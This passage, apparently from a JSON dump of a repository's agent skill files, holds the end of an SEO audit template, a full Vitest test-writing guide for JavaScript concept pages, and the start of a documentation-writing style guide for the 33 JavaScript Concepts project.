**[Issue]**\n   - Current: [what it is now]\n   - Recommended: [what it should be]\n   - Impact: [why this matters]\n\n### Medium Priority\n\n1. **[Issue]**\n   - Recommendation: [fix]\n\n### Low Priority (Nice to Have)\n\n1. **[Issue]**\n   - Recommendation: [fix]\n\n---\n\n## Competitive Analysis (Optional)\n\n**Top-Ranking Pages for \"[primary keyword]\":**\n\n1. **[Competitor 1 - URL]**\n   - What they do well: [observation]\n   - Word count: ~X,XXX\n\n2. **[Competitor 2 - URL]**\n   - What they do well: [observation]\n   - Word count: ~X,XXX\n\n**Our Advantages:**\n- [What we do better]\n\n**Gaps to Fill:**\n- [What we're missing that competitors have]\n\n---\n\n## Implementation Checklist\n\nAfter making fixes, verify:\n\n- [ ] Title is 50-60 characters with keyword and hook\n- [ ] Description is 150-160 characters with action word and value\n- [ ] Primary keyword in title, description, first 100 words, and H2\n- [ ] Opens with question hook\n- [ ] Code example in first 200 words\n- [ ] \"What you'll learn\" Info box present\n- [ ] Paragraphs are 2-4 sentences\n- [ ] 1,500+ words total\n- [ ] Key terms bolded on first mention\n- [ ] 40-60 word definition for featured snippet\n- [ ] At least one question-format H2\n- [ ] 3-5 internal links with descriptive anchor text\n- [ ] Prerequisites in Warning box (if applicable)\n- [ ] Related Concepts section has 4 cards\n- [ ] Single H1 per page (title only)\n- [ ] URL slug contains primary keyword\n- [ ] Page linked from at least one other concept page\n- [ ] All fixes implemented and verified\n\n---\n\n## Final Recommendation\n\n**Ready to Publish:** ✅ Yes / ❌ No - [reason]\n\n**Next Review Date:** [When to re-audit, e.g., \"3 months\" or \"after major update\"]\n```\n\n---\n\n## Quick Reference\n\n### Character Counts\n\n| Element | Ideal Length |\n|---------|--------------|\n| Title | 50-60 characters |\n| Meta Description | 150-160 characters |\n| Definition paragraph | 40-60 words |\n\n### Keyword Density\n\n- Don't exceed 3-4 mentions of exact phrase per 1,000 words\n- Use variations naturally (e.g., \"closures\", \"closure\", \"JavaScript closures\")\n\n### Content Length\n\n| Length | Assessment |\n|--------|------------|\n| <1,000 words | Too thin - add depth |\n| 1,000-1,500 | Minimum viable |\n| 1,500-2,500 | Good |\n| 2,500-4,000 | Excellent |\n| >4,000 | Consider splitting |\n\n---\n\n## Summary\n\nWhen auditing a concept page for SEO:\n\n1. **Identify target keywords** using the keyword cluster for that concept\n2. **Check title tag** — 50-60 chars, keyword first, hook, ends with \"JavaScript\"\n3. **Check meta description** — 150-160 chars, action word, keyword, specific value\n4. **Verify keyword placement** — Title, description, first 100 words, H2\n5. **Audit content structure** — Question hook, early code, Info box, short paragraphs\n6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables\n7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section\n8. **Generate report** — Document score, issues, and prioritized fixes\n\n**Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience.\n"
  },
  {
    "path": ".opencode/skill/test-writer/SKILL.md",
    "content": "---\nname: test-writer\ndescription: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines\n---\n\n# Skill: Test Writer for Concept Pages\n\nUse this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described.\n\n## When to Use\n\n- After writing a new concept page\n- When adding new code examples to existing pages\n- When updating existing code examples\n- To verify documentation accuracy through automated tests\n- Before publishing to ensure all examples work correctly\n\n## Test Writing Methodology\n\nFollow these four phases to create comprehensive tests for a concept page.\n\n### Phase 1: Code Example Extraction\n\nScan the concept page for all code examples and categorize them:\n\n| Category | Characteristics | Action |\n|----------|-----------------|--------|\n| **Testable** | Has `console.log` with output comments, returns values | Write tests |\n| **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) |\n| **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` |\n| **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) |\n| **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock |\n\n### Phase 2: Determine Test File Structure\n\n```\ntests/\n├── fundamentals/              # Concepts 1-6\n├── functions-execution/       # Concepts 7-8\n├── web-platform/             # Concepts 9-10\n├── object-oriented/          # Concepts 11-15\n├── functional-programming/   # Concepts 16-19\n├── async-javascript/         # Concepts 20-22\n├── advanced-topics/          # Concepts 23-31\n└── beyond/                   # Extended concepts\n    └── {subcategory}/\n```\n\n**File naming:**\n- Standard tests: `{concept-name}.test.js`\n- DOM tests: `{concept-name}.dom.test.js`\n\n### Phase 3: Convert Examples to Tests\n\nFor each testable code example:\n\n1. Identify the expected output (from `console.log` comments or documented behavior)\n2. Convert to `expect` assertions\n3. Add source line reference in comments\n4. Group related tests in `describe` blocks matching documentation sections\n\n### Phase 4: Handle Special Cases\n\n| Case | Solution |\n|------|----------|\n| Browser-only APIs | Use jsdom environment or skip with note |\n| Timing-dependent code | Use `vi.useFakeTimers()` or test the logic, not timing |\n| Side effects | Capture output or test mutations |\n| Intentional errors | Use `expect(() => {...}).toThrow()` |\n| Async code | Use `async/await` with proper assertions |\n\n---\n\n## Project Test Conventions\n\n### Import Pattern\n\n```javascript\nimport { describe, it, expect } from 'vitest'\n```\n\nFor DOM tests or tests needing mocks:\n\n```javascript\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n```\n\n### DOM Test File Header\n\n```javascript\n/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n```\n\n### Describe Block Organization\n\nMatch the structure of the documentation:\n\n```javascript\ndescribe('Concept Name', () => {\n  describe('Section from Documentation', () => {\n    describe('Subsection if needed', () => {\n      it('should [specific behavior]', () => {\n        // Test\n      })\n    })\n  })\n})\n```\n\n### Test Naming Convention\n\n- Start with \"should\"\n- Be descriptive and specific\n- Match the documented behavior\n\n```javascript\n// Good\nit('should return \"object\" for typeof null', () => {})\nit('should throw TypeError when accessing property of undefined', () => {})\nit('should resolve promises in order they were created', () => {})\n\n// Bad\nit('test typeof', () => {})\nit('works correctly', () => {})\nit('null test', () => {})\n```\n\n### Source Line References\n\nAlways reference the documentation source:\n\n```javascript\n// ============================================================\n// SECTION NAME FROM DOCUMENTATION\n// From {concept}.mdx lines XX-YY\n// ============================================================\n\ndescribe('Section Name', () => {\n  // From lines 45-52: Basic typeof examples\n  it('should return correct type strings', () => {\n    // Test\n  })\n})\n```\n\n---\n\n## Test Patterns Reference\n\n### Pattern 1: Basic Value Assertion\n\n**Documentation:**\n```javascript\nconsole.log(typeof \"hello\")  // \"string\"\nconsole.log(typeof 42)       // \"number\"\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: typeof examples\nit('should return correct type for primitives', () => {\n  expect(typeof \"hello\").toBe(\"string\")\n  expect(typeof 42).toBe(\"number\")\n})\n```\n\n---\n\n### Pattern 2: Multiple Related Assertions\n\n**Documentation:**\n```javascript\nlet a = \"hello\"\nlet b = \"hello\"\nconsole.log(a === b)  // true\n\nlet obj1 = { x: 1 }\nlet obj2 = { x: 1 }\nconsole.log(obj1 === obj2)  // false\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Primitive vs object comparison\nit('should compare primitives by value', () => {\n  let a = \"hello\"\n  let b = \"hello\"\n  expect(a === b).toBe(true)\n})\n\nit('should compare objects by reference', () => {\n  let obj1 = { x: 1 }\n  let obj2 = { x: 1 }\n  expect(obj1 === obj2).toBe(false)\n})\n```\n\n---\n\n### Pattern 3: Function Return Values\n\n**Documentation:**\n```javascript\nfunction greet(name) {\n  return \"Hello, \" + name + \"!\"\n}\n\nconsole.log(greet(\"Alice\"))  // \"Hello, Alice!\"\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: greet function example\nit('should return greeting with name', () => {\n  function greet(name) {\n    return \"Hello, \" + name + \"!\"\n  }\n  \n  expect(greet(\"Alice\")).toBe(\"Hello, Alice!\")\n})\n```\n\n---\n\n### Pattern 4: Error Testing\n\n**Documentation:**\n```javascript\n// This throws an error!\nconst obj = null\nconsole.log(obj.property)  // TypeError: Cannot read property of null\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Accessing property of null\nit('should throw TypeError when accessing property of null', () => {\n  const obj = null\n  \n  expect(() => {\n    obj.property\n  }).toThrow(TypeError)\n})\n```\n\n---\n\n### Pattern 5: Specific Error Messages\n\n**Documentation:**\n```javascript\nfunction divide(a, b) {\n  if (b === 0) throw new Error(\"Cannot divide by zero\")\n  return a / b\n}\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: divide function with error\nit('should throw error when dividing by zero', () => {\n  function divide(a, b) {\n    if (b === 0) throw new Error(\"Cannot divide by zero\")\n    return a / b\n  }\n  \n  expect(() => divide(10, 0)).toThrow(\"Cannot divide by zero\")\n  expect(divide(10, 2)).toBe(5)\n})\n```\n\n---\n\n### Pattern 6: Async/Await Testing\n\n**Documentation:**\n```javascript\nasync function fetchUser(id) {\n  const response = await fetch(`/api/users/${id}`)\n  return response.json()\n}\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: async fetchUser function\nit('should fetch user data asynchronously', async () => {\n  // Mock fetch for testing\n  global.fetch = vi.fn(() =>\n    Promise.resolve({\n      json: () => Promise.resolve({ id: 1, name: 'Alice' })\n    })\n  )\n  \n  async function fetchUser(id) {\n    const response = await fetch(`/api/users/${id}`)\n    return response.json()\n  }\n  \n  const user = await fetchUser(1)\n  expect(user).toEqual({ id: 1, name: 'Alice' })\n})\n```\n\n---\n\n### Pattern 7: Promise Testing\n\n**Documentation:**\n```javascript\nconst promise = new Promise((resolve) => {\n  resolve(\"done\")\n})\n\npromise.then(result => console.log(result))  // \"done\"\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Basic Promise resolution\nit('should resolve with correct value', async () => {\n  const promise = new Promise((resolve) => {\n    resolve(\"done\")\n  })\n  \n  await expect(promise).resolves.toBe(\"done\")\n})\n```\n\n---\n\n### Pattern 8: Promise Rejection\n\n**Documentation:**\n```javascript\nconst promise = new Promise((resolve, reject) => {\n  reject(new Error(\"Something went wrong\"))\n})\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Promise rejection\nit('should reject with error', async () => {\n  const promise = new Promise((resolve, reject) => {\n    reject(new Error(\"Something went wrong\"))\n  })\n  \n  await expect(promise).rejects.toThrow(\"Something went wrong\")\n})\n```\n\n---\n\n### Pattern 9: Floating Point Comparison\n\n**Documentation:**\n```javascript\nconsole.log(0.1 + 0.2)         // 0.30000000000000004\nconsole.log(0.1 + 0.2 === 0.3) // false\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Floating point precision\nit('should demonstrate floating point imprecision', () => {\n  expect(0.1 + 0.2).not.toBe(0.3)\n  expect(0.1 + 0.2).toBeCloseTo(0.3)\n  expect(0.1 + 0.2 === 0.3).toBe(false)\n})\n```\n\n---\n\n### Pattern 10: Array Method Testing\n\n**Documentation:**\n```javascript\nconst numbers = [1, 2, 3, 4, 5]\nconst doubled = numbers.map(n => n * 2)\nconsole.log(doubled)  // [2, 4, 6, 8, 10]\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Array map example\nit('should double all numbers in array', () => {\n  const numbers = [1, 2, 3, 4, 5]\n  const doubled = numbers.map(n => n * 2)\n  \n  expect(doubled).toEqual([2, 4, 6, 8, 10])\n  expect(numbers).toEqual([1, 2, 3, 4, 5]) // Original unchanged\n})\n```\n\n---\n\n### Pattern 11: Object Mutation Testing\n\n**Documentation:**\n```javascript\nconst obj = { a: 1 }\nobj.b = 2\nconsole.log(obj)  // { a: 1, b: 2 }\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Object mutation\nit('should allow adding properties to objects', () => {\n  const obj = { a: 1 }\n  obj.b = 2\n  \n  expect(obj).toEqual({ a: 1, b: 2 })\n})\n```\n\n---\n\n### Pattern 12: Closure Testing\n\n**Documentation:**\n```javascript\nfunction counter() {\n  let count = 0\n  return function() {\n    count++\n    return count\n  }\n}\n\nconst increment = counter()\nconsole.log(increment())  // 1\nconsole.log(increment())  // 2\nconsole.log(increment())  // 3\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Closure counter example\nit('should maintain state across calls via closure', () => {\n  function counter() {\n    let count = 0\n    return function() {\n      count++\n      return count\n    }\n  }\n  \n  const increment = counter()\n  expect(increment()).toBe(1)\n  expect(increment()).toBe(2)\n  expect(increment()).toBe(3)\n})\n\nit('should create independent counters', () => {\n  function counter() {\n    let count = 0\n    return function() {\n      count++\n      return count\n    }\n  }\n  \n  const counter1 = counter()\n  const counter2 = counter()\n  \n  expect(counter1()).toBe(1)\n  expect(counter1()).toBe(2)\n  expect(counter2()).toBe(1) // Independent\n})\n```\n\n---\n\n### Pattern 13: DOM Event Testing\n\n**Documentation:**\n```javascript\nconst button = document.getElementById('myButton')\nbutton.addEventListener('click', function(event) {\n  console.log('Button clicked!')\n  console.log(event.type)  // \"click\"\n})\n```\n\n**Test (in .dom.test.js file):**\n```javascript\n/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, beforeEach, afterEach } from 'vitest'\n\ndescribe('DOM Event Handlers', () => {\n  let button\n  \n  beforeEach(() => {\n    button = document.createElement('button')\n    button.id = 'myButton'\n    document.body.appendChild(button)\n  })\n  \n  afterEach(() => {\n    document.body.innerHTML = ''\n  })\n  \n  // From lines XX-YY: Button click event\n  it('should fire click event handler', () => {\n    const output = []\n    \n    button.addEventListener('click', function(event) {\n      output.push('Button clicked!')\n      output.push(event.type)\n    })\n    \n    button.click()\n    \n    expect(output).toEqual(['Button clicked!', 'click'])\n  })\n})\n```\n\n---\n\n### Pattern 14: DOM Manipulation Testing\n\n**Documentation:**\n```javascript\nconst div = document.createElement('div')\ndiv.textContent = 'Hello'\ndiv.classList.add('greeting')\ndocument.body.appendChild(div)\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Creating and appending elements\nit('should create element with text and class', () => {\n  const div = document.createElement('div')\n  div.textContent = 'Hello'\n  div.classList.add('greeting')\n  document.body.appendChild(div)\n  \n  const element = document.querySelector('.greeting')\n  expect(element).not.toBeNull()\n  expect(element.textContent).toBe('Hello')\n  expect(element.classList.contains('greeting')).toBe(true)\n})\n```\n\n---\n\n### Pattern 15: Timer Testing\n\n**Documentation:**\n```javascript\nconsole.log('First')\nsetTimeout(() => console.log('Second'), 0)\nconsole.log('Third')\n// Output: First, Third, Second\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: setTimeout execution order\nit('should execute setTimeout callback after synchronous code', async () => {\n  const output = []\n  \n  output.push('First')\n  setTimeout(() => output.push('Second'), 0)\n  output.push('Third')\n  \n  // Wait for setTimeout to execute\n  await new Promise(resolve => setTimeout(resolve, 10))\n  \n  expect(output).toEqual(['First', 'Third', 'Second'])\n})\n```\n\n---\n\n### Pattern 16: Strict Mode Behavior\n\n**Documentation:**\n```javascript\n// In strict mode, this throws\n\"use strict\"\nx = 10  // ReferenceError: x is not defined\n```\n\n**Test:**\n```javascript\n// From lines XX-YY: Strict mode variable declaration\nit('should throw ReferenceError in strict mode for undeclared variables', () => {\n  // Vitest runs in strict mode by default\n  expect(() => {\n    // Using eval to test strict mode behavior\n    \"use strict\"\n    eval('undeclaredVar = 10')\n  }).toThrow()\n})\n```\n\n---\n\n## Complete Test File Template\n\n```javascript\nimport { describe, it, expect } from 'vitest'\n\ndescribe('[Concept Name]', () => {\n  // ============================================================\n  // [FIRST SECTION NAME FROM DOCUMENTATION]\n  // From [concept].mdx lines XX-YY\n  // ============================================================\n  \n  describe('[First Section]', () => {\n    // From lines XX-YY: [Brief description of example]\n    it('should [expected behavior]', () => {\n      // Code from documentation\n      \n      expect(result).toBe(expected)\n    })\n    \n    // From lines XX-YY: [Brief description of next example]\n    it('should [another expected behavior]', () => {\n      // Code from documentation\n      \n      expect(result).toEqual(expected)\n    })\n  })\n  \n  // ============================================================\n  // [SECOND SECTION NAME FROM DOCUMENTATION]\n  // From [concept].mdx lines XX-YY\n  // ============================================================\n  \n  describe('[Second Section]', () => {\n    // From lines XX-YY: [Description]\n    it('should [behavior]', () => {\n      // Test\n    })\n  })\n  \n  // ============================================================\n  // EDGE CASES AND COMMON MISTAKES\n  // From [concept].mdx lines XX-YY\n  // ============================================================\n  \n  describe('Edge Cases', () => {\n    // From lines XX-YY: [Edge case description]\n    it('should handle [edge case]', () => {\n      // Test\n    })\n  })\n  \n  describe('Common Mistakes', () => {\n    // From lines XX-YY: Wrong way example\n    it('should demonstrate the incorrect behavior', () => {\n      // Test showing why the \"wrong\" way fails\n    })\n    \n    // From lines XX-YY: Correct way example\n    it('should demonstrate the correct behavior', () => {\n      // Test showing the right approach\n    })\n  })\n})\n```\n\n---\n\n## Complete DOM Test File Template\n\n```javascript\n/**\n * @vitest-environment jsdom\n */\nimport { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n// ============================================================\n// DOM EXAMPLES FROM [CONCEPT NAME]\n// From [concept].mdx lines XX-YY\n// ============================================================\n\ndescribe('[Concept Name] - DOM', () => {\n  // Shared setup\n  let container\n  \n  beforeEach(() => {\n    // Create a fresh container for each test\n    container = document.createElement('div')\n    container.id = 'test-container'\n    document.body.appendChild(container)\n  })\n  \n  afterEach(() => {\n    // Clean up after each test\n    document.body.innerHTML = ''\n    vi.restoreAllMocks()\n  })\n  \n  // ============================================================\n  // [SECTION NAME]\n  // From lines XX-YY\n  // ============================================================\n  \n  describe('[Section Name]', () => {\n    // From lines XX-YY: [Example description]\n    it('should [expected DOM behavior]', () => {\n      // Setup\n      const element = document.createElement('div')\n      container.appendChild(element)\n      \n      // Action\n      element.textContent = 'Hello'\n      \n      // Assert\n      expect(element.textContent).toBe('Hello')\n    })\n  })\n  \n  // ============================================================\n  // EVENT HANDLING\n  // From lines XX-YY\n  // ============================================================\n  \n  describe('Event Handling', () => {\n    // From lines XX-YY: Click event example\n    it('should handle click events', () => {\n      const button = document.createElement('button')\n      container.appendChild(button)\n      \n      let clicked = false\n      button.addEventListener('click', () => {\n        clicked = true\n      })\n      \n      button.click()\n      \n      expect(clicked).toBe(true)\n    })\n  })\n})\n```\n\n---\n\n## Running Tests\n\n```bash\n# Run all tests\nnpm test\n\n# Run tests for specific concept\nnpm test -- tests/fundamentals/primitive-types/\n\n# Run tests for specific file\nnpm test -- tests/fundamentals/primitive-types/primitive-types.test.js\n\n# Run DOM tests only\nnpm test -- tests/fundamentals/primitive-types/primitive-types.dom.test.js\n\n# Run with watch mode\nnpm run test:watch\n\n# Run with coverage\nnpm run test:coverage\n\n# Run with verbose output\nnpm test -- --reporter=verbose\n```\n\n---\n\n## Quality Checklist\n\n### Completeness\n- [ ] All testable code examples have corresponding tests\n- [ ] Tests organized by documentation sections\n- [ ] Source line references included in comments (From lines XX-YY)\n- [ ] DOM tests in separate `.dom.test.js` file\n- [ ] Edge cases and error examples tested\n\n### Correctness\n- [ ] Tests verify the actual documented behavior\n- [ ] Output comments in docs match test expectations\n- [ ] Async tests properly use async/await\n- [ ] Error tests use correct `toThrow` pattern\n- [ ] Floating point comparisons use `toBeCloseTo`\n- [ ] Object comparisons use `toEqual` (not `toBe`)\n\n### Convention\n- [ ] Uses explicit imports from vitest\n- [ ] Follows describe/it nesting pattern\n- [ ] Test names start with \"should\"\n- [ ] Proper file naming (`{concept}.test.js`)\n- [ ] DOM tests have jsdom environment directive\n\n### Verification\n- [ ] All tests pass: `npm test -- tests/{category}/{concept}/`\n- [ ] No skipped tests without documented reason\n- [ ] No false positives (tests that pass for wrong reasons)\n\n---\n\n## Test Report Template\n\nUse this template to document test coverage for a concept page.\n\n```markdown\n# Test Coverage Report: [Concept Name]\n\n**Concept Page:** `/docs/concepts/[slug].mdx`\n**Test File:** `/tests/{category}/{concept}/{concept}.test.js`\n**DOM Test File:** `/tests/{category}/{concept}/{concept}.dom.test.js` (if applicable)\n**Date:** YYYY-MM-DD\n**Author:** [Name/Claude]\n\n## Summary\n\n| Metric | Count |\n|--------|-------|\n| Total Code Examples in Doc | XX |\n| Testable Examples | XX |\n| Tests Written | XX |\n| DOM Tests Written | XX |\n| Skipped (with reason) | XX |\n\n## Tests by Section\n\n| Section | Line Range | Examples | Tests | Status |\n|---------|------------|----------|-------|--------|\n| [Section 1] | XX-YY | X | X | ✅ |\n| [Section 2] | XX-YY | X | X | ✅ |\n| [Section 3] | XX-YY | X | X | ⚠️ (1 skipped) |\n\n## Skipped Examples\n\n| Line | Example Description | Reason |\n|------|---------------------|--------|\n| XX | ASCII diagram of call stack | Conceptual, not executable |\n| YY | Browser fetch example | Requires network, mocked instead |\n\n## Test Execution\n\n```bash\nnpm test -- tests/{category}/{concept}/\n```\n\n**Result:** ✅ XX passing | ❌ X failing | ⏭️ X skipped\n\n## Notes\n\n[Any special considerations, mock requirements, or issues encountered]\n```\n\n---\n\n## Common Issues and Solutions\n\n### Issue: Test passes but shouldn't\n\n**Problem:** Test expectations don't match documentation output\n\n**Solution:** Double-check the expected value matches the `console.log` comment exactly\n\n```javascript\n// Documentation says: console.log(result)  // [1, 2, 3]\n// Make sure test uses:\nexpect(result).toEqual([1, 2, 3])  // NOT toBe for arrays\n```\n\n### Issue: Async test times out\n\n**Problem:** Async test never resolves\n\n**Solution:** Ensure all promises are awaited and async function is marked\n\n```javascript\n// Bad\nit('should fetch data', () => {\n  const data = fetchData()  // Missing await!\n  expect(data).toBeDefined()\n})\n\n// Good\nit('should fetch data', async () => {\n  const data = await fetchData()\n  expect(data).toBeDefined()\n})\n```\n\n### Issue: DOM test fails with \"document is not defined\"\n\n**Problem:** Missing jsdom environment\n\n**Solution:** Add environment directive at top of file\n\n```javascript\n/**\n * @vitest-environment jsdom\n */\n```\n\n### Issue: Test isolation problems\n\n**Problem:** Tests affect each other\n\n**Solution:** Use beforeEach/afterEach for cleanup\n\n```javascript\nafterEach(() => {\n  document.body.innerHTML = ''\n  vi.restoreAllMocks()\n})\n```\n\n---\n\n## Summary\n\nWhen writing tests for a concept page:\n\n1. **Extract all code examples** from the documentation\n2. **Categorize** as testable, DOM, error, or conceptual\n3. **Create test file** in correct location with proper naming\n4. **Convert each example** to test using appropriate pattern\n5. **Reference source lines** in comments for traceability\n6. **Run tests** to verify all pass\n7. **Document coverage** using the report template\n\n**Remember:** Tests serve two purposes:\n1. Verify documentation is accurate\n2. Catch regressions if code examples are updated\n\nEvery testable code example in the documentation should have a corresponding test. If an example can't be tested, document why.\n"
  },
  {
    "path": ".opencode/skill/write-concept/SKILL.md",
    "content": "---\nname: write-concept\ndescription: Write or review JavaScript concept documentation pages for the 33 JavaScript Concepts project, following strict structure and quality guidelines\n---\n\n# Skill: Write JavaScript Concept Documentation\n\nUse this skill when writing or improving concept documentation pages for the 33 JavaScript Concepts project.\n\n## When to Use\n\n- Creating a new concept page in `/docs/concepts/`\n- Rewriting or significantly improving an existing concept page\n- Reviewing an existing concept page for quality and completeness\n- Adding explanatory content to a concept\n\n## Target Audience\n\nRemember: **the reader might be someone who has never coded before or is just learning JavaScript**. Write with empathy for beginners while still providing depth for intermediate developers. Make complex topics feel approachable and never assume prior knowledge without linking to prerequisites.\n\n## Writing Guidelines\n\n### Voice and Tone\n\n- **Conversational but authoritative**: Write like you're explaining to a smart friend\n- **Encouraging**: Make complex topics feel approachable\n- **Practical**: Focus on real-world applications and use cases\n- **Concise**: Respect the reader's time; avoid unnecessary verbosity\n- **Question-driven**: Open sections with questions the reader might have\n\n### Avoiding AI-Generated Language\n\nYour writing must sound human, not AI-generated. Here are specific patterns to avoid:\n\n#### Words and Phrases to Avoid\n\n| ❌ Avoid | ✓ Use Instead |\n|----------|---------------|\n| \"Master [concept]\" | \"Learn [concept]\" |\n| \"dramatically easier/better\" | \"much easier\" or \"cleaner\" |\n| \"one fundamental thing\" | \"one simple thing\" |\n| \"one of the most important concepts\" | \"This is a big one\" |\n| \"essential points\" | \"key things to remember\" |\n| \"understanding X deeply improves\" | \"knowing X well makes Y easier\" |\n| \"To truly understand\" | \"Let's look at\" or \"Here's how\" |\n| \"This is crucial\" | \"This trips people up\" |\n| \"It's worth noting that\" | Just state the thing directly |\n| \"It's important to remember\" | \"Don't forget:\" or \"Remember:\" |\n| \"In order to\" | \"To\" |\n| \"Due to the fact that\" | \"Because\" |\n| \"At the end of the day\" | Remove entirely |\n| \"When it comes to\" | Remove or rephrase |\n| \"In this section, we will\" | Just start explaining |\n| \"As mentioned earlier\" | Remove or link to the section |\n\n#### Repetitive Emphasis Patterns\n\nDon't use the same lead-in pattern repeatedly. Vary your emphasis:\n\n| Instead of repeating... | Vary with... |\n|------------------------|--------------|\n| \"Key insight:\" | \"Don't forget:\", \"The pattern:\", \"Here's the thing:\" |\n| \"Best practice:\" | \"Pro tip:\", \"Quick check:\", \"A good habit:\" |\n| \"Important:\" | \"Watch out:\", \"Heads up:\", \"Note:\" |\n| \"Remember:\" | \"Keep in mind:\", \"The rule:\", \"Think of it this way:\" |\n\n#### Em Dash (—) Overuse\n\nAI-generated text overuses em dashes. Limit their use and prefer periods, commas, or colons:\n\n| ❌ Em Dash Overuse | ✓ Better Alternative |\n|-------------------|---------------------|\n| \"async/await — syntactic sugar that...\" | \"async/await. It's syntactic sugar that...\" |\n| \"understand Promises — async/await is built...\" | \"understand Promises. async/await is built...\" |\n| \"doesn't throw an error — you just get...\" | \"doesn't throw an error. You just get...\" |\n| \"outside of async functions — but only in...\" | \"outside of async functions, but only in...\" |\n| \"Fails fast — if any Promise rejects...\" | \"Fails fast. If any Promise rejects...\" |\n| \"achieve the same thing — the choice...\" | \"achieve the same thing. The choice...\" |\n\n**When em dashes ARE acceptable:**\n- In Key Takeaways section (consistent formatting for the numbered list)\n- In MDN card titles (e.g., \"async function — MDN\")\n- In interview answer step-by-step explanations (structured formatting)\n- Sparingly when a true parenthetical aside reads naturally\n\n**Rule of thumb:** If you have more than 10-15 em dashes in a 1500-word document outside of structured sections, you're overusing them. After writing, search for \"—\" and evaluate each one.\n\n#### Superlatives and Filler Words\n\nAvoid vague superlatives that add no information:\n\n| ❌ Avoid | ✓ Use Instead |\n|----------|---------------|\n| \"dramatically\" | \"much\" or remove entirely |\n| \"fundamentally\" | \"simply\" or be specific about what's fundamental |\n| \"incredibly\" | remove or be specific |\n| \"extremely\" | remove or be specific |\n| \"absolutely\" | remove |\n| \"basically\" | remove (if you need it, you're not explaining clearly) |\n| \"essentially\" | remove or just explain directly |\n| \"very\" | remove or use a stronger word |\n| \"really\" | remove |\n| \"actually\" | remove (unless correcting a misconception) |\n| \"In fact\" | remove (just state the fact) |\n| \"Interestingly\" | remove (let the reader decide if it's interesting) |\n\n#### Stiff/Formal Phrases\n\nReplace formal academic-style phrases with conversational alternatives:\n\n| ❌ Stiff | ✓ Conversational |\n|---------|------------------|\n| \"It should be noted that\" | \"Note that\" or just state it |\n| \"One might wonder\" | \"You might wonder\" |\n| \"This enables developers to\" | \"This lets you\" |\n| \"The aforementioned\" | \"this\" or name it again |\n| \"Subsequently\" | \"Then\" or \"Next\" |\n| \"Utilize\" | \"Use\" |\n| \"Commence\" | \"Start\" |\n| \"Prior to\" | \"Before\" |\n| \"In the event that\" | \"If\" |\n| \"A considerable amount of\" | \"A lot of\" or \"Many\" |\n\n#### Playful Touches (Use Sparingly)\n\nAdd occasional human touches to make the content feel less robotic, but don't overdo it:\n\n```javascript\n// ✓ Good: One playful comment per section\n// Callback hell - nested so deep you need a flashlight\n\n// ✓ Good: Conversational aside  \n// forEach and async don't play well together — it just fires and forgets:\n\n// ✓ Good: Relatable frustration\n// Finally, error handling that doesn't make you want to flip a table.\n\n// ❌ Bad: Trying too hard\n// Callback hell - it's like a Russian nesting doll had a baby with a spaghetti monster! 🍝\n\n// ❌ Bad: Forced humor\n// Let's dive into the AMAZING world of Promises! 🎉🚀\n```\n\n**Guidelines:**\n- One or two playful touches per major section is enough\n- Humor should arise naturally from the content\n- Avoid emojis in body text (they're fine in comments occasionally)\n- Don't explain your jokes\n- If a playful line doesn't work, just be direct instead\n\n### Page Structure (Follow This Exactly)\n\nEvery concept page MUST follow this structure in this exact order:\n\n```mdx\n---\ntitle: \"Concept Name: [Hook] in JavaScript\"\nsidebarTitle: \"Concept Name: [Hook]\"\ndescription: \"SEO-friendly description in 150-160 characters starting with action word\"\n---\n\n[Opening hook - Start with engaging questions that make the reader curious]\n[Example: \"How does JavaScript get data from a server? How do you load user profiles, submit forms, or fetch the latest posts from an API?\"]\n\n[Immediately show a simple code example demonstrating the concept]\n\n```javascript\n// This is how you [do the thing] in JavaScript\nconst example = doSomething()\nconsole.log(example)  // Expected output\n```\n\n[Brief explanation connecting to what they'll learn, with **[inline MDN links](https://developer.mozilla.org/...)** for key terms]\n\n<Info>\n**What you'll learn in this guide:**\n- Key learning outcome 1\n- Key learning outcome 2\n- Key learning outcome 3\n- Key learning outcome 4 (aim for 5-7 items)\n</Info>\n\n<Warning>\n[Optional: Prerequisites or important notices - place AFTER Info box]\n**Prerequisite:** This guide assumes you understand [Related Concept](/concepts/related-concept). If you're not comfortable with that yet, read that guide first!\n</Warning>\n\n---\n\n## [First Major Section - e.g., \"What is X?\"]\n\n[Core explanation with inline MDN links for any new terms/APIs introduced]\n\n[Optional: CardGroup with MDN reference links for this section]\n\n---\n\n## [Analogy Section - e.g., \"The Restaurant Analogy\"]\n\n[Relatable real-world analogy that makes the concept click]\n\n[ASCII art diagram visualizing the concept]\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                          DIAGRAM TITLE                                   │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    [Visual representation of the concept]                                │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## [Core Concepts Section]\n\n[Deep dive with code examples, tables, and Mintlify components]\n\n<Steps>\n  <Step title=\"Step 